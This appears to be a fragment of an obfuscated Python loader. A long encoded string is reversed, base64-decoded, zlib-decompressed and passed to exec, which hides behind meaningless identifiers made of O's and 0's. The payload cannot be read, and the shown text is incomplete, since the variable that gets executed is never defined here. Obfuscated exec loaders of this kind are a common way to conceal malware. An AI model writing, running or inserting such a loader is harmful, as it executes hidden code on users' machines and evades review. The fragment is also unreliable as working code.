7sjQ6vC7XNll83pFf8fvToaT3pGFSj1c81VK5oIhG9w6EtclERQuGUBvz05JwhK/2q5IPGu/xUBgMn9AAgEOA41RQNABKGLz+7Y3rITgRWBRf8AQQpSPAzPwKqgrRHA6DEswTssw0AoSOE0xCEExcCIfy/ZoRWqL4D0YNWiwKGCgCb1HYEiAIbaBhaVQDdWGqCmNZ1j2Iuh3FMu+4A6Q2C6AYTgRUF9Z8+73Pf/I6NRDyhIzfvZbxcE7aX2vJ7z3vYDhVJf6P3rVeGq2f3w/fp//75/X8/f7+/F+/f8/3h//T//78/Xv//y/f17/79//6//Q//c+/P3/P7nv8h+thfkO/O+DqfXO789/3Vzo3Td2P3G/f3yv/fku/IO91zO/zzbMLRsJTVYLPK8/h7LuKWn39+GrVBFbAYvh3Ix+vUJT+dM2VATuhHMRkA/mslBghHEgtzwz8OPghSySmnbBOJYM1zvIVbhKY1RbV3fpX6yGxum7ulxJe"
OOOO0000OO0O000=lambda x:zlib.decompress(base64.b64decode(x[::-1]+'='*(4-len(x)%4)));
O0OO00O0O000O0O=exec;
O0OO00O0O000O0O(OOOO0000OO0O000(O00OOO0O0O00000))
